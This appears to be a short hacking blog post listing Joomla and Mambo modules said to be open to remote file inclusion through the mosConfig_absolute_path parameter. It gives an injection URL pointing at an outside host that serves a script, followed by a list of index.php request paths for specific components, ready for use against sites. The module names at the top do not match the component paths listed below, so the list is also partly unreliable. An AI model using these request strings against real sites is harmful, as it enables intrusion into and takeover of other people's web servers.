Found vuln mosConfig_absolute_path injection

Script Name :
AutoStand (Joomla module)
Carousel Flash Image Gallery (Joomla module)
Coppermine Photo Gallery component (Mambo module)
CropImage (Mambo module)
ExtCalendar (Mambo module)
FlatMenu (Mambo module)
JoomlaPack (Joomla module)
MOSMedia Lite (Mambo module)
NFN Address Book (Mambo module)
swMenuFree (Mambo module)
TaskHopper (Joomla module)
Tour De France Pool (Joomla module)
VisoHotlink
zOOm Media Gallery
?

Parameter code injection:
mosConfig_absolute_path=

Script injection:

http://www.woopss.de/conf/echo?

Path Url
/index.php?option=com_alphacontent&Itemid=&mosConfig_absolute_path=
-------------------------------------------------------------------------------------
/index.php?option=com_bannersmanager&Itemid=&mosConfig_absolute_path=
-------------------------------------------------------------------------------------
/index.php?option=com_bsq_sitestats&Itemid=&mosConfig_absolute_path=
-------------------------------------------------------------------------------------
/index.php?option=com_color&Itemid=&mosConfig_absolute_path=
-------------------------------------------------------------------------------------
/index.php?option=com_cpg&Itemid=&mosConfig_absolute_path=
-------------------------------------------------------------------------------------
/index.php?option=com_ewriting&Itemid=&mosConfig_absolute_path=
-------------------------------------------------------------------------------------
/index.php?option=com_exitpoll&Itemid=&mosConfig_absolute_path=
-------------------------------------------------------------------------------------
/index.php?option=com_facileforms&Itemid=&mosConfig_absolute_path=
-------------------------------------------------------------------------------------
/index.php?option=com_gcalendar&Itemid=&mosConfig_absolute_path=
-------------------------------------------------------------------------------------
/index.php?option=com_juice&Itemid=&mosConfig_absolute_path=
-------------------------------------------------------------------------------------
/index.php?option=com_jwmmxtd&Itemid=&mosConfig_absolute_path=
-------------------------------------------------------------------------------------
/index.php?option=com_languages&Itemid=&mosConfig_absolute_path=
-------------------------------------------------------------------------------------
/index.php?option=com_messages&Itemid=&mosConfig_absolute_path=
-------------------------------------------------------------------------------------
/index.php?option=com_mospray&Itemid=&mosConfig_absolute_path=
-------------------------------------------------------------------------------------
/index.php?option=com_peoplebook&Itemid=&mosConfig_absolute_path=
-------------------------------------------------------------------------------------
/index.php?option=com_sefservicemap&Itemid=&mosConfig_absolute_path=
-------------------------------------------------------------------------------------
/index.php?option=com_swmenumaker&Itemid=&mosConfig_absolute_path=
-------------------------------------------------------------------------------------
/index.php?option=com_userlist_xtd&Itemid=&mosConfig_absolute_path=
Found vuln mosConfig_absolute_path injection Found vuln mosConfig_absolute_path injection Reviewed by Furkan Samadha on 7:15 PM Rating: 5